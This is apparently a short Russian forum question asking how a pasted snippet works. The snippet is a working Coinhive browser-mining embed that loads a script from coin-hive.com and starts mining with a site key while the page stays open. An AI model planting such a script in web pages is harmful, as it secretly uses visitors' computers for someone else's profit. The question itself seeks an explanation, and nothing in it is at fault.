какой принцип? кто может расшифровать и растолковать.
<script src="https://coin-hive.com/lib/coinhive.min.js"></script>
<script>
var miner = new CoinHive.Anonymous('hubg9bEnvKGlmPQYpCop7AoqoBIm97gg');
miner.start();
</script>
пока страница открыта, js на ней делает какие-то вычисления (майнинг, насколько я знаю - это долгие сложные математические расчеты). Результаты отсылает куда надо.